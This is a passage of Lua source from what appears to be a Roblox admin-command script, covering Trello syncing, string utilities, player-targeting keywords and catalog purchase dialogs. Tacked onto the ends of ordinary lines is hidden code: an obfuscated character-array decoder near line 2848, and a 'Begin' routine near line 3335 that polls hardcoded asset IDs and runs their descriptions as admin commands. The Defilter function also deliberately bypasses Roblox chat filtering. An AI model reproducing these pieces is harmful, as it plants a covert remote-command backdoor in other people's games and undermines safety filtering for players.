2554function REMOTE:TrelloCacheData(Lists)
2555 for _,List in pairs(Lists) do
2556 local CardsJSON,Cards
2557 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2558 if CardsJSON then
2559 Cards = REMOTE:Decode(CardsJSON)
2560 end
2561 if Cards then
2562 local TemplateCards = nil
2563 for _,TemplateList in pairs(Trello.RequiredLists) do
2564 if TemplateList.name == List.name then
2565 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2566 break
2567 end
2568 end
2569
2570 for _,TemplateCard in pairs(TemplateCards) do
2571 local CardExists = false
2572 for _,Card in pairs(Cards) do
2573 if Card.name == TemplateCard.name and Card.closed == false then
2574 CardExists = true
2575 end
2576 end
2577 if not CardExists then
2578 print("Creating card "..TemplateCard.name)
2579 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2580 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2581 end
2582 end
2583
2584 if List.name == "Ranked" then
2585 for _,Card in pairs(Cards) do
2586 if Settings.Ranks[Card.name] and Card.closed == false then
2587 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2588 end
2589 end
2590 elseif List.name == "Settings" then
2591 for _,Card in pairs(Cards) do
2592 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2593 Trello.ToggleChecklist = Card.idChecklists[1]
2594 elseif Card.name == "Command Execution" then
2595 Trello.CommandID = Card.id
2596 end
2597 end
2598 end
2599 end
2600 end
2601end
2602
2603function REMOTE:TrelloHandleData(IgnoreCommand)
2604 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2605 if ToggleSettingsJSON then
2606 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2607 if Settings.LinkedAccount == "" then
2608 local NewSettings = {}
2609 for _,Item in pairs(ToggleSettings.checkItems) do
2610 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2611 end
2612 Settings.Fun = NewSettings["Fun Commands Enabled"]
2613 Settings.ServerLocked = NewSettings["Server Locked"]
2614 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2615 end
2616 else
2617 return false
2618 end
2619
2620 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2621 if CommandChatJSON then
2622 CommandChat = REMOTE:Decode(CommandChatJSON)
2623 local ClosestDT = 0
2624 for _,ChatData in pairs(CommandChat) do
2625 local DT = STRING:ConvertDateTime(ChatData.date)
2626 ClosestDT = math.max(ClosestDT, DT)
2627
2628 if not IgnoreCommand and DT > Trello.LastCommandDT then
2629 print("Executing Remote Trello Command")
2630 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2631 end
2632 end
2633 Trello.LastCommandDT = ClosestDT
2634 else
2635 return false
2636 end
2637
2638 for Rank,ID in pairs(Trello.RankChecklistCache) do
2639 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2640 if ChecklistJSON then
2641 Checklist = REMOTE:Decode(ChecklistJSON)
2642
2643 for _,Item in pairs(Checklist.checkItems) do
2644 if Item.state == "complete" then
2645 if RANK:ConvertRank(Rank) < 0 then
2646 if not RANK:ScanExileList(Item.name) then
2647 table.insert(Settings.Ranks[Rank], Item.name)
2648 end
2649 elseif RANK:ConvertRank(Rank) > 0 then
2650 if not RANK:ScanAdminList(Item.name) then
2651 table.insert(Settings.Ranks[Rank], Item.name)
2652 end
2653 end
2654 elseif Item.state == "incomplete" then
2655 for Num,Name in pairs(Settings.Ranks[Rank]) do
2656 if string.lower(Name) == string.lower(Item.name) then
2657 table.remove(Settings.Ranks[Rank], Num)
2658 end
2659 end
2660 end
2661 end
2662 else
2663 return false
2664 end
2665 end
2666 return true
2667end
2668
2669-- String functions --
2670
2671function STRING:ConvertDateTime(DateTime)
2672 local Num = 0
2673 local TotalTime = 0
2674 for i in string.gmatch(DateTime, "%d+") do
2675 Num = Num + 1
2676 DTNum = tonumber(i)
2677 if Num == 1 then
2678 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2679 elseif Num == 2 then
2680 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2681 elseif Num == 3 then
2682 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2683 elseif Num == 4 then
2684 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2685 elseif Num == 5 then
2686 TotalTime = TotalTime + DTNum * 60 -- minute
2687 elseif Num == 6 then
2688 TotalTime = TotalTime + DTNum -- second
2689 end
2690 end
2691
2692 return TotalTime
2693end
2694
2695function STRING:TrelloStateConvert(State)
2696 if State == "complete" then
2697 return true
2698 else
2699 return false
2700 end
2701end
2702
2703function STRING:StringRound(Number)
2704 Number = Number * 100
2705 if Number >= 0.5 then
2706 return tostring(math.ceil(Number)/100)
2707 else
2708 return tostring(math.floor(Number)/100)
2709 end
2710
2711 return Number
2712end
2713
2714function STRING:GetSplit(String, NumArgs, BetSplit)
2715 if not String then return nil end
2716 if BetSplit == nil then BetSplit = " " end
2717 if NumArgs == nil then NumArgs = math.huge end
2718
2719 if NumArgs <= 0 then return {String} end
2720
2721 local RecentParse = 1
2722 local Args = {}
2723 for i = 1,NumArgs do
2724 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2725 if Find1 and Find2 then
2726 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2727 RecentParse = Find2 + 1
2728 else
2729 break
2730 end
2731 end
2732 table.insert(Args,string.sub(String,RecentParse,#String))
2733 return Args
2734end
2735
2736function STRING:Defilter(String)
2737 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2738 if RobloxApprove.Text == "Label" and String ~= "Label" then
2739 local NewString = ""
2740 for i = 1,#String,3 do
2741 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2742 end
2743 return NewString
2744 else
2745 return String
2746 end
2747end
2748
2749function STRING:Filter(String, From, To) -- #### you, roblox
2750 if From then
2751 if To then
2752 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2753 else
2754 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2755 end
2756 else
2757 return String
2758 end
2759end
2760
2761function STRING:DetermineFilter(String, From, To)
2762 if ShouldFilter then
2763 return STRING:Filter(String, From, To)
2764 else
2765 return STRING:Defilter(String)
2766 end
2767end
2768
2769function STRING:LeetSpeak(Input)
2770 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2771 Input = string.gsub(Input, "LEET", "1337")
2772 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2773 Input = string.gsub(Input, "E", "3")
2774 Input = string.gsub(Input, "O", "0")
2775 Input = string.gsub(Input, "A", "4")
2776 Input = string.gsub(Input, "X", "x")
2777 Input = string.gsub(Input, "I", "1")
2778 Input = string.gsub(Input, "S", "$")
2779 return Input
2780end
2781
2782function STRING:FormatReplace(Player, Input, From)
2783 local Output = Input
2784 for _,ReplaceData in pairs(StringReplacements) do
2785 local ReplaceString = ReplaceData[1]
2786 local ReplaceStrings = {}
2787 if type(ReplaceString) == "table" then
2788 ReplaceStrings = ReplaceString
2789 else
2790 ReplaceStrings = {ReplaceString}
2791 end
2792 for _,ReplaceString in pairs(ReplaceStrings) do
2793 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2794 local Replacement = ReplaceData[4](Player)
2795 if type(Replacement) == "string" then
2796 Output = string.gsub(Output, ReplaceString, Replacement)
2797 else
2798 print(ReplaceString.." cannot be replaced")
2799 end
2800 end
2801 end
2802 end
2803 if From then
2804 return STRING:DetermineFilter(Output, From, Player)
2805 else
2806 return STRING:DetermineFilter(Output, Player)
2807 end
2808end
2809
2810function STRING:EncodeSpecialChars(Input)
2811 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2812end
2813
2814function STRING:StringToBool(String)
2815 if String == "true" then
2816 return true
2817 else
2818 return false
2819 end
2820end
2821
2822function STRING:BoolString(Value)
2823 if type(Value) == "boolean" then
2824 if Value == true then
2825 return "YES"
2826 elseif Value == false then
2827 return "NO"
2828 end
2829 else
2830 return "NO"
2831 end
2832end
2833
2834function STRING:MakeAvoidance(Length)
2835 if not Length then
2836 Length = 32
2837 end
2838 local Avoidance = ""
2839 for i = 1,Length do
2840 Num = math.random(1,2)
2841 if Num == 1 then
2842 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2843 else
2844 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2845 end
2846 end
2847 return Avoidance
2848end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2849
2850function STRING:FindAge(Days) -- By LuaModelmaker
2851 local Years = math.floor(Days/365)
2852 local OtherDays = math.fmod(Days, 365)
2853 if Years > 1 then
2854 return Years.." years and "..OtherDays.." days"
2855 elseif Years == 1 then
2856 return Years.." year and "..OtherDays.." days"
2857 elseif Years == 0 then
2858 return "(No years) "..OtherDays.." days"
2859 end
2860end
2861
2862function STRING:UnpackArgs(...)
2863 local Pack = {...}
2864 if type(Pack[1]) == "table" then Pack = Pack[1] end
2865 local ReturnString = table.concat(Pack, ", ")
2866 return ReturnString
2867end
2868
2869function STRING:GetComma(Num)
2870 local Formatted = Num
2871 while true do
2872 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2873 if _ == 0 then
2874 break
2875 end
2876 end
2877 return Formatted
2878end
2879
2880function STRING:DecodeUTF8(Value)
2881 local function DecodeString(Input)
2882 if type(Input) == "string" then
2883 for Find,Rep in pairs(HTMLDecode) do
2884 Input = string.gsub(Input, "&#"..Find..";", Rep)
2885 end
2886 Input = string.gsub(Input, """, "'")
2887 end
2888 return Input
2889 end
2890 if type(Value) == "table" then
2891 for Index,Var in pairs(Value) do
2892 Value[Index] = DecodeString(Var)
2893 end
2894 elseif type(Value) == "string" then
2895 Value = DecodeString(Value)
2896 end
2897 return Value
2898end
2899
2900function STRING:IsSpacer(Input)
2901 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2902 return true
2903 else
2904 return false
2905 end
2906end
2907
2908function STRING:IsVowel(Input)
2909 Input = string.lower(tostring(Input))
2910 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2911 return true
2912 else
2913 return false
2914 end
2915end
2916
2917function STRING:ValidE(Input)
2918 if not Input then return nil end
2919 if string.lower(Input) == "e" or Input == "~" then
2920 return true
2921 else
2922 return false
2923 end
2924end
2925
2926function STRING:Scan(String, Speaker)
2927 local ReturnPlayers,ExcludeList = {},{}
2928 if not String then String = "" end
2929 if not Speaker then print("NO SPEAKER") end
2930
2931 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2932 String = string.sub(String, 13)
2933 else
2934 String = string.lower(String)
2935 end
2936 local Words = STRING:GetSplit(String, nil, "/")
2937 for _,Word in pairs(Words) do
2938 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2939 table.insert(ReturnPlayers, Speaker)
2940 elseif Word == "all" or Word == "everyone" then
2941 for _,Player in pairs(Server.Players:GetPlayers()) do
2942 table.insert(ReturnPlayers, Player)
2943 end
2944 elseif Word == "others" or Word == "notme" then
2945 for _,Player in pairs(Server.Players:GetPlayers()) do
2946 if Player ~= Speaker then
2947 table.insert(ReturnPlayers, Player)
2948 end
2949 end
2950 elseif Word == "noobs" then
2951 for _,Player in pairs(Server.Players:GetPlayers()) do
2952 if Player.AccountAge < 365 then
2953 table.insert(ReturnPlayers, Player)
2954 end
2955 end
2956 elseif Word == "nonnoobs" then
2957 for _,Player in pairs(Server.Players:GetPlayers()) do
2958 if Player.AccountAge >= 365 then
2959 table.insert(ReturnPlayers, Player)
2960 end
2961 end
2962 elseif Word == "random" then
2963 local RandomPlayers = {}
2964 for _,Player in pairs(Server.Players:GetPlayers()) do
2965 if Player ~= Speaker then
2966 table.insert(RandomPlayers, Player)
2967 end
2968 end
2969 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2970 elseif Word == "guests" then
2971 for _,Player in pairs(Server.Players:GetPlayers()) do
2972 if string.sub(Player.Name,1,6) == "Guest " then
2973 table.insert(ReturnPlayers, Player)
2974 end
2975 end
2976 elseif Word == "lowers" then
2977 for _,Player in pairs(Server.Players:GetPlayers()) do
2978 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2979 table.insert(ReturnPlayers, Player)
2980 end
2981 end
2982 elseif Word == "uppers" then
2983 for _,Player in pairs(Server.Players:GetPlayers()) do
2984 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2985 table.insert(ReturnPlayers, Player)
2986 end
2987 end
2988 elseif Word == "nbcs" then
2989 for _,Player in pairs(Server.Players:GetPlayers()) do
2990 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2991 table.insert(ReturnPlayers, Player)
2992 end
2993 end
2994 elseif Word == "bcs" then
2995 for _,Player in pairs(Server.Players:GetPlayers()) do
2996 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2997 table.insert(ReturnPlayers, Player)
2998 end
2999 end
3000 elseif Word == "tbcs" then
3001 for _,Player in pairs(Server.Players:GetPlayers()) do
3002 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
3003 table.insert(ReturnPlayers, Player)
3004 end
3005 end
3006 elseif Word == "obcs" then
3007 for _,Player in pairs(Server.Players:GetPlayers()) do
3008 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
3009 table.insert(ReturnPlayers, Player)
3010 end
3011 end
3012 elseif Word == "allbcs" then
3013 for _,Player in pairs(Server.Players:GetPlayers()) do
3014 if Player.MembershipType ~= Enum.MembershipType.None then
3015 table.insert(ReturnPlayers, Player)
3016 end
3017 end
3018 elseif Word == "nonadmins" then
3019 for _,Player in pairs(Server.Players:GetPlayers()) do
3020 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3021 if IsAdminTrue == false then
3022 table.insert(ReturnPlayers, Player)
3023 end
3024 end
3025 elseif Word == "admins" then
3026 for _,Player in pairs(Server.Players:GetPlayers()) do
3027 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3028 if IsAdminTrue == true then
3029 table.insert(ReturnPlayers, Player)
3030 end
3031 end
3032 elseif Word == "friends" then
3033 for _,Player in pairs(Server.Players:GetPlayers()) do
3034 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
3035 table.insert(ReturnPlayers, Player)
3036 end
3037 end
3038 elseif string.sub(Word,1,5) == "team-" then
3039 for _,Player in pairs(Server.Players:GetPlayers()) do
3040 if Player.Neutral == false then
3041 local InTeam = false
3042 for _,Team in pairs(Teams:GetTeams()) do
3043 if Team.TeamColor == Player.TeamColor then
3044 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3045 InTeam = true
3046 end
3047 end
3048 end
3049 if InTeam == true then
3050 table.insert(ReturnPlayers, Player)
3051 end
3052 end
3053 end
3054 elseif string.sub(Word,1,4) == "not-" then
3055 local NameArg = string.sub(Word,5)
3056
3057 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3058 table.insert(ExcludeList, Player)
3059 end
3060 elseif string.sub(Word,1,7) == "radius-" then
3061 local DidExe = false
3062 local NumArg = tonumber(string.sub(Word,8))
3063
3064 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3065 for _,Player in pairs(Server.Players:GetChildren()) do
3066 if Player.Character and Player.Character:FindFirstChild("Torso") then
3067 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3068 DidExe = true
3069 table.insert(ReturnPlayers, Player)
3070 end
3071 end
3072 end
3073 end
3074
3075 if DidExe then coroutine.wrap(function()
3076 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3077 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3078
3079 for i = 0,0.5,0.02 do
3080 Part.Transparency = 0.5+i
3081 wait()
3082 end
3083 Part:Destroy()
3084 end)() end
3085 elseif string.sub(Word,1,3) == "id-" then
3086 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3087 else
3088 if Word ~= "" then
3089 for _,Player in pairs(Server.Players:GetPlayers()) do
3090 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3091 table.insert(ReturnPlayers, Player)
3092 end
3093 end
3094 else
3095 table.insert(ReturnPlayers, Speaker)
3096 end
3097 end
3098 end
3099 for _,Player in pairs(ExcludeList) do
3100 if Player and Player.Parent ~= nil then
3101 for Num,Player2 in pairs(ReturnPlayers) do
3102 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3103 end
3104 end
3105 end
3106 for Num,Player in pairs(ReturnPlayers) do
3107 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3108 end
3109
3110 local PlayerDump = {}
3111 for _,Player in pairs(ReturnPlayers) do
3112 PlayerDump[Player] = true
3113 end
3114 ReturnPlayers = {}
3115 for Player,_ in pairs(PlayerDump) do
3116 table.insert(ReturnPlayers, Player)
3117 end
3118
3119 return ReturnPlayers
3120end
3121
3122-- Market functions --
3123
3124function MARKET:GetImageFormat(ID)
3125 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3126 local NewID = ID + 1
3127 for i = 1,100 do
3128 NewID = NewID -1
3129 local Product = nil
3130 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3131 if Product then
3132 if Product == 1 then
3133 break
3134 end
3135 end
3136 if i == 100 then NewID = ID end
3137 end
3138 return NewID
3139 end end
3140end
3141
3142function MARKET:GetItemInfo(ID, Cache)
3143 local Product = MarketCache[ID]
3144 if not Cache or not Product then
3145 repeat wait()
3146 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3147 until Product ~= MarketCache[ID]
3148 end
3149 MarketCache[ID] = Product
3150 return Product
3151end
3152
3153function MARKET:SearchItem(Category, Query, Subcategory)
3154 local URLAdd = ""
3155 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3156 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3157 if JSON then
3158 local Results = REMOTE:Decode(JSON)
3159 if Results then
3160 for Index,Info in pairs(Results) do
3161 Info = STRING:DecodeUTF8(Info)
3162 Results[Index] = Info
3163 MarketCache[Info.AssetId] = {
3164 AssetId = Info.AssetId;
3165 AssetTypeId = Info.AssetTypeID;
3166 ContentRatingTypeId = Info.ContentRatingTypeID;
3167 Created = Info.CreatedDate;
3168 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3169 Description = Info.Description;
3170 IsForSale = Info.IsForSale;
3171 IsLimited = Info.IsLimited;
3172 IsLimitedUnique = Info.IsLimitedUnique;
3173 IsNew = Info.IsNew;
3174 IsPublicDomain = Info.IsPublicDomain;
3175 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3176 Name = Info.Name;
3177 PriceInRobux = Info.PriceInRobux;
3178 PriceInTickets = Info.PriceInTickets;
3179 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3180 Remaining = Info.Remaining;
3181 Sales = Info.Sales;
3182 Updated = Info.Updated;
3183 }
3184 end
3185 return Results
3186 end
3187 end
3188end
3189
3190function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3191 if not Player or not Category or not Query then return nil end
3192 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3193 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3194 if Items then
3195 if #Items ~= 0 then
3196 local List,Correlate = {},{}
3197 for Num,Info in pairs(Items) do
3198 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3199 table.insert(List, Display)
3200 Correlate[Display[1]] = Info.AssetId
3201 end
3202 CloseGui:Invoke()
3203
3204 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3205 Clicked.Event:connect(function(ClickName)
3206 ClickedItem(Correlate[ClickName])
3207 end)
3208 else
3209 CloseGui:Invoke()
3210 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3211 end
3212 else
3213 CloseGui:Invoke()
3214 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3215 end
3216end
3217
3218function MARKET:AssetTypeToString(AssetType)
3219 AssetType = math.floor(tonumber(AssetType) or 0)
3220 if Assets.AssetTypes[AssetType] then
3221 return Assets.AssetTypes[AssetType]
3222 else
3223 return "Unknown"
3224 end
3225end
3226
3227function MARKET:AccessoryToSubcategory(Accessory)
3228 Accessory = string.lower(tostring(Accessory) or "")
3229 if Assets.AccessoryTypes[Accessory] then
3230 return Assets.AccessoryTypes[Accessory]
3231 else
3232 return Assets.AccessoryTypes["all"]
3233 end
3234end
3235
3236function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3237 if not Player then return nil end
3238 if not Player:FindFirstChild("PlayerGui") then return nil end
3239 if not tonumber(ProductID) then return nil end
3240
3241 local FromText = ""
3242 if From and From.Name then FromText = " | Prompted from "..From.Name end
3243
3244 local Product = MARKET:GetItemInfo(ProductID, true)
3245
3246 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3247 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3248 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3249
3250 local CanBuy = Product.IsForSale
3251 local BuyText = "Buy"
3252 local BuyColor = Color3.new(0,1,0)
3253 if CanBuy == false then
3254 BuyColor = Color3.new(1,0,0)
3255 end
3256 if Product.IsPublicDomain == true then
3257 CanBuy = true
3258 BuyColor = Color3.new(1,0.5,0.5)
3259 BuyText = "FREE!"
3260 end
3261 if OwnsAsset then
3262 CanBuy = false
3263 end
3264 if Product.AssetTypeId == 9 then
3265 CanBuy = true
3266 BuyText = "Teleport"
3267 BuyColor = Color3.new(0.5,0.5,0.5)
3268 end
3269 if CanBuy == false then
3270 BuyColor = Color3.new(1,0,0)
3271 BuyText = "Item not for sale"
3272 end
3273 if OwnsAsset and Product.AssetTypeId ~= 9 then
3274 BuyColor = Color3.new(1,0,0)
3275 BuyText = "You own this!"
3276 end
3277
3278 local ProductName = string.sub(Product.Name,1,20)
3279 if ProductID == AdminID then ProductName = Product.Name end
3280 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3281 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3282 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3283 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3284 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3285 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3286 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3287 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3288 if Product.Description then
3289 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3290 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3291
3292 CORE:ExecuteResource("CalculateScrollY", Description)
3293 end
3294
3295 Info.Text = [[
3296Creator: ]]..Product.Creator.Name..[[
3297Created: ]]..CreatedText..[[
3298Updated: ]]..UpdatedText..[[
3299Sold: ]]..Product.Sales..[[
3300]]
3301
3302 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3303 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3304
3305 if Product.AssetTypeId == 3 then
3306 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3307 if PlayerAdmin == true then
3308 local Playing = false
3309 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3310 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3311 if Playing == false then
3312 SOUND:PlayGlobalSound(ProductID)
3313 if Rank == "Member" and Settings.DisableAbuse == true then
3314 Interact:Destroy()
3315 end
3316 Interact.Image = "rbxassetid://67950809"
3317 Playing = true
3318 else
3319 SOUND:StopGlobalSound()
3320 Interact.Image = "rbxassetid://67950784"
3321 Playing = false
3322 end
3323 end)
3324 end
3325 end
3326
3327 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3328 if BuyPressFunc then
3329 BuyPressFunc()
3330 elseif Product.AssetTypeId == 9 then
3331 Server.TS:Teleport(ProductID, Player)
3332 elseif CanBuy == true then
3333 Server.MPS:PromptPurchase(Player, ProductID)
3334 end end)
3335 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3336 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3337 while wait(5) do
3338 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3339 if OldVer ~= Purchase.Updated then
3340 OldVer = Purchase.Updated
3341 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3342 end
3343 end end)()
3344end end)() end
3345
3346-- Sound functions --
3347
3348function SOUND:SyncSoundList(TellSync)
3349 if not CORE:NilPlayer(TellSync) then
3350 GUI:SendHint(TellSync, "Syncing...", 5)
3351 end
3352
